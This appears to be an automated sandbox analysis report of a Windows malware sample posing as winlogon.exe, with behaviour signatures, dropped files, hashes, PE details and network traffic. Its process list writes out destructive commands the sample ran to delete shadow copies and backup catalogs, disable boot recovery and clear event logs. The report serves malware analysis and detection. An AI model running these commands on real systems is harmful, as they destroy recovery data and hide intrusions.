Contains functionality to enumerate running services

Show sources

Source: C:\Users\user\AppData\Local\Temp\_usm.exe

Code function: OpenSCManagerW,EnumServicesStatusW,EnumServicesStatusW,GetProcessHeap,GetProcessHeap,RtlAllocateHeap,EnumServicesStatusW,QueryServiceConfigW,OpenServiceW,QueryServiceConfigW,GetProcessHeap,HeapAlloc,ChangeServiceConfigW,QueryServiceConfigW,PathRemoveArgsW,GetProcessHeap,HeapFree,GetLastError,CloseServiceHandle,GetProcessHeap,HeapFree,CloseServiceHandle,

4_2_001412E8

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Users\user\AppData\Local\Temp\_usm.exe

Thread delayed: delay time: 3600000

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Dropped PE file which has not been started: C:\Users\HERBBL~1\AppData\Local\Temp\_yig.exe
Source: C:\Users\user\Desktop\winlogon.exe	Dropped PE file which has not been started: C:\Users\HERBBL~1\AppData\Local\Temp\_wjg.exe

Found evasive API chain (may stop execution after checking a module file name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\_usm.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Found evasive API chain checking for process token information

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\winlogon.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_1-13588
Source: C:\Users\user\AppData\Local\Temp\ucngw.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\Desktop\winlogon.exe TID: 3392	Thread sleep time: -60000s >= -60000s
Source: C:\Users\user\AppData\Local\Temp\yegus.exe TID: 3268	Thread sleep time: -120000s >= -60000s
Source: C:\Users\user\AppData\Local\Temp\_usm.exe TID: 3300	Thread sleep time: -3600000s >= -60000s
Source: C:\Windows\System32\wbadmin.exe TID: 3460	Thread sleep time: -120000s >= -60000s
Source: C:\Windows\System32\wbadmin.exe TID: 3460	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\System32\wbengine.exe TID: 3492	Thread sleep count: 89 > 30
Source: C:\Windows\System32\wbengine.exe TID: 3492	Thread sleep time: -5340000s >= -60000s
Source: C:\Windows\System32\vdsldr.exe TID: 3520	Thread sleep count: 57 > 30
Source: C:\Windows\System32\vdsldr.exe TID: 3520	Thread sleep time: -3420000s >= -60000s
Source: C:\Windows\System32\vdsldr.exe TID: 3520	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\System32\vds.exe TID: 3548	Thread sleep count: 81 > 30
Source: C:\Windows\System32\vds.exe TID: 3548	Thread sleep time: -4860000s >= -60000s

Sample execution stops while process was sleeping (likely an evasion)

Show sources

Source: C:\Windows\System32\vdsldr.exe

Last function: Thread delayed

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Creates files inside the volume driver (system volume information)

Show sources

Source: C:\Windows\System32\wbengine.exe

File created: C:\System Volume Information\WindowsImageBackup

Language, Device and Operating System Detection:

Contains functionality to create pipes for IPC

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D634B0 wsprintfW,CreateNamedPipeW,CreateEventW,CloseHandle,ConnectNamedPipe,GetLastError,CloseHandle,CloseHandle,CloseHandle,WaitForSingleObject,GetOverlappedResult,CancelIo,CloseHandle,ReadFile,CloseHandle,

1_2_00D634B0

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D74EF7 GetSystemTimeAsFileTime,

1_2_00D74EF7

Contains functionality to query time zone information

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe

Code function: 2_2_100879B6 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_100879B6

Contains functionality to query windows version

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D65970 GetVersionExW,__Stoull,__Stoull,

1_2_00D65970

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Code function: 1_2_00D6B6CE cpuid

1_2_00D6B6CE

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\yegus.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4ah7hlda.default\key3.db VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Behavior Graph

Simulations

Behavior and APIs

No simulations

Antivirus Detection

Initial Sample

Source	Detection	Cloud	Link
winlogon.exe	62%	virustotal	Browse

Dropped Files

Source	Detection	Cloud	Link
C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe	60%	virustotal	Browse
C:\Users\HERBBL~1\AppData\Local\Temp\_wjg.exe	0%	virustotal	Browse
C:\Users\HERBBL~1\AppData\Local\Temp\_wjg.exe	3%	metadefender	Browse

Domains

Source	Detection	Cloud	Link
252.0.0.224.in-addr.arpa	0%	virustotal	Browse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

Dropped Files

No context

Screenshot

Startup

System is w7

winlogon.exe (PID: 3216 cmdline: 'C:\Users\user\Desktop\winlogon.exe' MD5: CFDD16225E67471F5EF54CAB9B3A5558)

yegus.exe (PID: 3232 cmdline: 123 \\.\pipe\122B85FE-84BD-45AB-AEE5-28D37FB4C464 MD5: 4F43F03783F9789F804DCF9B9474FA6D)

ucngw.exe (PID: 3280 cmdline: 123 \\.\pipe\33F83B68-FC3D-4C1F-B4AE-1329770D367B MD5: 6E0EBEEEA1CB00192B074B288A4F9CFE)

_usm.exe (PID: 3296 cmdline: C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe MD5: 3C0D740347B0362331C882C2DEE96DBF)

cmd.exe (PID: 3336 cmdline: C:\Windows\system32\cmd.exe /c c:\Windows\system32\vssadmin.exe delete shadows /all /quiet MD5: AD7B9C14083B52BC532FBA5948342B98)

vssadmin.exe (PID: 3372 cmdline: c:\Windows\system32\vssadmin.exe delete shadows /all /quiet MD5: 6E248A3D528EDE43994457CF417BD665)

cmd.exe (PID: 3404 cmdline: C:\Windows\system32\cmd.exe /c wbadmin.exe delete catalog -quiet MD5: AD7B9C14083B52BC532FBA5948342B98)

wbadmin.exe (PID: 3428 cmdline: wbadmin.exe delete catalog -quiet MD5: EAB630E7E6A7FC248870A2FCDC098B98)

cmd.exe (PID: 3668 cmdline: C:\Windows\system32\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no MD5: AD7B9C14083B52BC532FBA5948342B98)

bcdedit.exe (PID: 3692 cmdline: bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures MD5: ABD373E82F6240031C1E631AA20711C7)

bcdedit.exe (PID: 3700 cmdline: bcdedit /set {default} recoveryenabled no MD5: ABD373E82F6240031C1E631AA20711C7)

cmd.exe (PID: 3708 cmdline: C:\Windows\system32\cmd.exe /c wevtutil.exe cl System MD5: AD7B9C14083B52BC532FBA5948342B98)

wevtutil.exe (PID: 3732 cmdline: wevtutil.exe cl System MD5: 81538B795F922B8DA6FD897EFB04B5EE)

cmd.exe (PID: 3748 cmdline: C:\Windows\system32\cmd.exe /c wevtutil.exe cl Security MD5: AD7B9C14083B52BC532FBA5948342B98)

wevtutil.exe (PID: 3772 cmdline: wevtutil.exe cl Security MD5: 81538B795F922B8DA6FD897EFB04B5EE)

wbengine.exe (PID: 3464 cmdline: C:\Windows\system32\wbengine.exe MD5: 691E3285E53DCA558E1A84667F13E15A)

vdsldr.exe (PID: 3496 cmdline: C:\Windows\System32\vdsldr.exe -Embedding MD5: A2551668C78CEA4089D71A0A3B36FC0C)

vds.exe (PID: 3524 cmdline: C:\Windows\System32\vds.exe MD5: C3CD30495687C2A2F66A65CA6FD89BE9)

LogonUI.exe (PID: 3840 cmdline: 'LogonUI.exe' /flags:0x0 MD5: 3EF0D8AB08385AAB5802E773511A2E6A)

LogonUI.exe (PID: 3928 cmdline: unknown MD5: 3EF0D8AB08385AAB5802E773511A2E6A)

cleanup

Created / dropped Files

C:\Users\HERBBL~1\AppData\Local\Temp\_usm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	36864
Entropy (8bit):	5.891300526858096
Encrypted:	false
MD5:	3C0D740347B0362331C882C2DEE96DBF
SHA1:	8350E06F52E5C660BB416B03EDB6A5DDC50C3A59
SHA-256:	AE9A4E244A9B3C77D489DEE8AEAF35A7C3BA31B210E76D81EF2E91790F052C85
SHA-512:	A701F94B9CDEBCE6EFF2F82552EC7554BF10D99019F8BCD6871EBCA804D7519BDCFA3806AC7C7D8E604C3259C61C58B905293FA641C092A8FCA8245F91EB0F8F
Malicious:	true
Antivirus:	Antivirus: virustotal, Detection: 60%, Browse
Reputation:	low

C:\Users\HERBBL~1\AppData\Local\Temp\_wjg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Size (bytes):	339096
Entropy (8bit):	6.384232735880303
Encrypted:	false
MD5:	27304B246C7D5B4E149124D5F93C5B01
SHA1:	E50D9E3BD91908E13A26B3E23EDEAF577FB3A095
SHA-256:	3337E3875B05E0BFBA69AB926532E3F179E8CFBF162EBB60CE58A0281437A7EF
SHA-512:	BEC172A2F92A95796199CFC83F544A78685B52A94061CE0FFB46B265070EE0BCC018C4F548F56018BF3FF1E74952811B2AFB6DF79AB8D09F1EC73C9477AF636B
Malicious:	false
Antivirus:	Antivirus: virustotal, Detection: 0%, Browse Antivirus: metadefender, Detection: 3%, Browse
Reputation:	low

C:\Users\HERBBL~1\AppData\Local\Temp\_yig.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	3723264
Entropy (8bit):	7.9213131085726545
Encrypted:	false
MD5:	56E50AD3D0746E4A4B1458506DACF2E7
SHA1:	0B818B27FD4C1656F43B288C29C510F0BABF939A
SHA-256:	131BA113ED14E999275B0CC7C932277EF7CA944888F928EE8DB50333420CA3BC
SHA-512:	69FE8FC3039C5503D15C8AE77E9B4D4DFA457D2DBF52289B6A5FBB83278713EA3AF63246F64E74B021BE6A7C67E2089702FC97F3EFD4C349CFEB5C44CA57BC04
Malicious:	false
Reputation:	low

C:\Users\HERBBL~1\AppData\Local\Temp\_yig.exe:Zone.Identifier
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	26
Entropy (8bit):	3.9500637564362093
Encrypted:	false
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file

C:\Users\HERBBL~1\AppData\Local\Temp\chr9AAC.tmp
File Type:	SQLite 3.x database
Size (bytes):	18432
Entropy (8bit):	0.8481809040173017
Encrypted:	false
MD5:	727EB3BA54F16CB4C7C19AB1101B8802
SHA1:	8702933960447F3FB8423E9F9F8FEF2C23D6B7AB
SHA-256:	255F5314D835CBDC33B46216B083C3FA4DD7F61B27F48B539B41341EF0911423
SHA-512:	FB079623312587E70AE2263FFCC9C12C492332CE6D048A85DD1B32C15535A6CF8E9D67AE146D01862B1C50B297EED0A07042AC19A4FC8838E534BCFEBFC77BE2
Malicious:	false
Reputation:	moderate, very likely benign file

C:\Users\HERBBL~1\AppData\Local\Temp\ucngw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	231424
Entropy (8bit):	7.52549984722154
Encrypted:	false
MD5:	6E0EBEEEA1CB00192B074B288A4F9CFE
SHA1:	21CA710ED3BC536BD5394F0BFF6D6140809156CF
SHA-256:	A52AF66A4438C5517870C503AC1E0515AF44D3994AA62C7D818B6EEF46CFBB2D
SHA-512:	BBB24AAC7EF5B5E8CF8934666D02C1E51980DB3C4703FEC1F240BAE35E1C8517E19736D8F2E27A9ED77D8A6881C2C3A5A3653E66425E7058B2985063FC38949C
Malicious:	false
Reputation:	low

C:\Users\HERBBL~1\AppData\Local\Temp\yegus.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Size (bytes):	769536
Entropy (8bit):	7.930796192224973
Encrypted:	false
MD5:	4F43F03783F9789F804DCF9B9474FA6D
SHA1:	492D4A4A74099074E26B5DFFD0D15434009CCFD9
SHA-256:	19AB44A1343DB19741B0E0B06BACCE55990B6C8F789815DAAF3476E0CC30EBEA
SHA-512:	645C2F0A1342732B86A45403FB8B1343BCC18C015C9918D2EDF118BBB210FEAD98AA21F1B66AC5FAABD0542583D74E158FBAC6D5F0D49827F4EEB58C8EBAFD6D
Malicious:	false
Reputation:	low

\122B85FE-84BD-45AB-AEE5-28D37FB4C464
File Type:	data
Size (bytes):	12
Entropy (8bit):	2.125814583693911
Encrypted:	false
MD5:	177C7293D42D1C9C48678AB79D034F1E
SHA1:	C828BAEF11CC61FC91D29D00AB980FBBA9A3BD42
SHA-256:	7E1246792C8DFE9E1F254115344159F0A800EBD273F678E7036F10FCAC0CD377
SHA-512:	DF3A4FCBDB220FDD26301A5B4DF68A15CB6DE5D748C86E1E340268D3F7C0384323E7A792DFBE8BADB1523339994CFFFEE1E94D7C64557DD47546C466B559D557
Malicious:	false

\33F83B68-FC3D-4C1F-B4AE-1329770D367B
File Type:	empty
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection
252.0.0.224.in-addr.arpa	unknown	unknown	true	0%, virustotal, Browse

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
192.168.2.238	unknown	unknown	unknown	false
192.168.2.240	unknown	unknown	unknown	false
192.168.2.250	unknown	unknown	unknown	false
192.168.2.252	unknown	unknown	unknown	false
192.168.2.244	unknown	unknown	unknown	false
8.8.8.8	United States	15169	GOOGLE-GoogleIncUS	false
192.168.2.254	unknown	unknown	unknown	false
192.168.2.242	unknown	unknown	unknown	false
192.168.2.248	unknown	unknown	unknown	false
192.168.2.246	unknown	unknown	unknown	false

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9213131085726545
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	winlogon.exe
File size:	1861632
MD5:	cfdd16225e67471f5ef54cab9b3a5558
SHA1:	26de43cc558a4e0e60eddd4dc9321bcb5a0a181c
SHA256:	edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9
SHA512:	e1855a872f4db7c17eb22130d9cb205eddde641f1b39ea5de97dfb762fc97dc2347bc6e6e88b9c5a303e1540b4b4bdb19c839c7d3e237348adbfa4b942f24adb
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;E..hE..hE..h.._hO..h..]h...h..\h]..h.6ihD..h~..iQ..h~..ii..h~..iV..hL.-hF..hL.=hP..hE..h...h...iV..h..QhD..hE.9hD..h...iD..

File Icon

Static PE Info

General
Entrypoint:	0x40ae66
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5A4387AF [Wed Dec 27 11:44:47 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	975087e9286238a80895b195efb3968d

Entrypoint Preview

Instruction
call 00007FC5206B76CFh
jmp 00007FC5206B70D3h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [0041F188h]
push dword ptr [ebp+08h]
call dword ptr [0041F184h]
push C0000409h
call dword ptr [0041F124h]
push eax
call dword ptr [0041F114h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call 00007FC5206C98A3h
test eax, eax
je 00007FC5206B7247h
push 00000002h
pop ecx
int 29h
mov dword ptr [00430CC8h], eax
mov dword ptr [00430CC4h], ecx
mov dword ptr [00430CC0h], edx
mov dword ptr [00430CBCh], ebx
mov dword ptr [00430CB8h], esi
mov dword ptr [00430CB4h], edi
mov word ptr [00430CE0h], ss
mov word ptr [00430CD4h], cs
mov word ptr [00430CB0h], ds
mov word ptr [00430CACh], es
mov word ptr [00430CA8h], fs
mov word ptr [00430CA4h], gs
pushfd
pop dword ptr [00430CD8h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [00430CCCh], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [00430CD0h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [00430CDCh], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [00430C18h], 00010001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26df4	0xdc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x33000	0x195b88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c9000	0x1644	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x25df0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x25e28	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d4ac	0x1d600	False	0.573720079787	data	6.65423641734	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1f000	0x8bac	0x8c00	False	0.497879464286	data	5.462837397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x28000	0x96fc	0x8c00	False	0.0412109375	data	0.885300140538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.gfids	0x32000	0x134	0x200	False	0.3984375	data	2.38182890346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x33000	0x195b88	0x195c00	False	1.00009145872	data	7.99984549743	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c9000	0x1644	0x1800	False	0.766927083333	data	6.4041746291	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
BIN	0x33170	0xbbe00	data	English	United States
BIN	0xeef70	0x38800	data	English	United States
BIN	0x127770	0x45600	data	English	United States
BIN	0x16cd70	0x52c98	data	English	United States
BIN	0x1bfa08	0x9000	data	English	United States
RT_MANIFEST	0x1c8a08	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	GetVersionExW, GetModuleHandleA, CreateEventW, MultiByteToWideChar, Sleep, GetTempPathA, CopyFileA, GetLastError, GetFileAttributesA, CreateFileA, SetEvent, TerminateThread, DeleteFileW, CloseHandle, LoadLibraryW, CreateThread, GetOverlappedResult, VirtualProtectEx, GetWindowsDirectoryW, GetProcAddress, VirtualAllocEx, LocalFree, GetFileSize, DeleteCriticalSection, ExitProcess, GetCurrentProcessId, CreateProcessW, GetModuleHandleW, CreateRemoteThread, CreateProcessA, CreateEventA, ConnectNamedPipe, GetComputerNameA, GetFileAttributesW, HeapFree, HeapAlloc, GetProcessHeap, GetTempPathW, GetTickCount, SizeofResource, LockResource, LoadResource, FindResourceW, FindFirstFileExW, CreateFileW, LocalAlloc, WaitForSingleObject, InitializeCriticalSection, LeaveCriticalSection, WaitForMultipleObjects, CreateNamedPipeW, GetModuleFileNameW, TerminateProcess, InterlockedDecrement, WriteFile, ReadFile, GetCurrentProcess, GetCommandLineW, EnterCriticalSection, WriteProcessMemory, CancelIo, FindClose, DecodePointer, SetEndOfFile, HeapSize, WriteConsoleW, FlushFileBuffers, GetStringTypeW, SetStdHandle, ReadConsoleW, SetFilePointerEx, GetModuleFileNameA, FreeLibrary, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, IsValidCodePage, LCMapStringW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, WideCharToMultiByte, EncodePointer, RaiseException, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetStdHandle, GetModuleHandleExW, GetACP, HeapReAlloc, GetConsoleCP, GetConsoleMode, GetFileType, FindNextFileW
USER32.dll	wsprintfW
ADVAPI32.dll	CryptAcquireContextW, CryptReleaseContext, LookupPrivilegeValueW, AdjustTokenPrivileges, CryptGenRandom, LookupPrivilegeNameW, CopySid, IsValidSid, LogonUserA, OpenProcessToken, ConvertSidToStringSidW, GetLengthSid, LookupAccountSidW, GetTokenInformation
SHELL32.dll	SHGetSpecialFolderPathW, CommandLineToArgvW
ole32.dll	CoCreateGuid, CoTaskMemFree, CoSetProxyBlanket, CoInitializeEx, CoInitializeSecurity, CoCreateInstance, CoUninitialize
OLEAUT32.dll	SysFreeString, SysAllocString, SysStringLen, SafeArrayUnaccessData, SafeArrayAccessData, VariantClear, SafeArrayCreate
IPHLPAPI.DLL	GetIpNetTable
WS2_32.dll	FreeAddrInfoW, GetAddrInfoW, WSACleanup, WSAStartup, ntohl
credui.dll	CredUIParseUserNameW
NETAPI32.dll	NetApiBufferFree, NetGetDCName

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 12, 2018 21:38:30.860141993 CET	56842	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.880199909 CET	53440	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.880276918 CET	53	53440	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.905082941 CET	51075	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.905164003 CET	53	51075	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.927845955 CET	63053	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.927926064 CET	53	63053	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:30.995573997 CET	65490	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:30.995654106 CET	53	65490	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.002337933 CET	65311	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.002427101 CET	53	65311	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.012367010 CET	59195	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.012440920 CET	53	59195	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.036601067 CET	65034	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.036674976 CET	53	65034	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.050959110 CET	56352	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.051029921 CET	53	56352	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.059361935 CET	51492	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:31.059423923 CET	53	51492	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:31.765642881 CET	53	56842	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:32.179327011 CET	65236	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:32.311522007 CET	53	65236	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:32.616265059 CET	57178	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:32.753743887 CET	53	57178	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:33.061160088 CET	49408	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:33.179438114 CET	53	49408	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:33.513441086 CET	57291	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:33.718898058 CET	53	57291	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.032504082 CET	64225	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:34.168128967 CET	53	64225	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.497317076 CET	64017	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:34.668488026 CET	53	64017	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:34.980822086 CET	61578	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:35.109461069 CET	53	61578	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:35.419275999 CET	64808	53	192.168.2.2	8.8.8.8
Feb 12, 2018 21:38:35.682538033 CET	53	64808	8.8.8.8	192.168.2.2
Feb 12, 2018 21:38:35.696975946 CET	49169	135	192.168.2.2	192.168.2.254
Feb 12, 2018 21:38:35.823093891 CET	49170	135	192.168.2.2	192.168.2.246
Feb 12, 2018 21:38:35.824702978 CET	49171	135	192.168.2.2	192.168.2.252
Feb 12, 2018 21:38:35.826517105 CET	49172	135	192.168.2.2	192.168.2.248
Feb 12, 2018 21:38:35.827938080 CET	49173	135	192.168.2.2	192.168.2.250
Feb 12, 2018 21:38:35.835345030 CET	49174	135	192.168.2.2	192.168.2.244
Feb 12, 2018 21:38:35.895308971 CET	49175	135	192.168.2.2	192.168.2.240
